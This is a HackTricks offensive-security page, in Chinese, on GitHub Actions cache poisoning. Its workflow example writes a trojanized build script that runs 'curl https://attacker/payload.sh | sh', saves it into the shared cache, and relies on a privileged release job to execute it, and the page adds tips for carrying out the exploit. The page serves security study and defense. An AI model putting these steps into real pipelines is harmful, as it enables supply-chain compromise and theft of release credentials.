GH Actions - Cache Poisoning

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

GitHub Actions cache 在仓库范围内是全局的。任何知道 cache key(或 restore-keys)的 workflow 都可以填充该条目,即使该 job 只有 permissions: contents: read 权限。GitHub 不会按照 workflow、事件类型或信任等级隔离 caches,因此攻击者如果攻破一个低权限的 job,就可以 poison 一个随后会被有特权的 release job restore 的 cache。这就是 Ultralytics 的入侵如何从 pull_request_target workflow 转向 PyPI 发布流水线的方式。

攻击原语

  • actions/cache 暴露了恢复和保存两种操作(actions/cache@v4actions/cache/save@v4actions/cache/restore@v4)。除非是来自 forks 的真正不受信任的 pull_request workflows,否则任意 job 都被允许调用 save。
  • Cache 条目仅由 key 标识。宽泛的 restore-keys 会让注入 payload 变得容易,因为攻击者只需与某个前缀发生碰撞。
  • 缓存的文件系统会原样恢复。如果 cache 包含随后会被执行的脚本或二进制文件,攻击者就能控制这条执行路径。

示例利用链

Author workflow (pull_request_target) poisoned the cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow 恢复并执行了 poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

第二个作业现在在持有发布凭证(PyPI tokens、PATs、cloud deploy keys 等)的情况下运行攻击者控制的代码。

实用利用提示

  • 针对由 pull_request_targetissue_comment 或仍会保存缓存的 bot 命令触发的 workflow;GitHub 允许它们覆盖整个仓库范围的密钥,即使 runner 对仓库只有只读访问权限。
  • 查找在信任边界间重用的确定性 cache keys(例如,pip-${{ hashFiles('poetry.lock') }})或宽松的 restore-keys,然后在有特权的 workflow 运行前保存你的恶意 tarball。
  • 监控日志中的 Cache saved 条目,或添加你自己的 cache-save 步骤,这样下一个 release job 会恢复该有效载荷并执行被 trojanized 的脚本或二进制文件。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks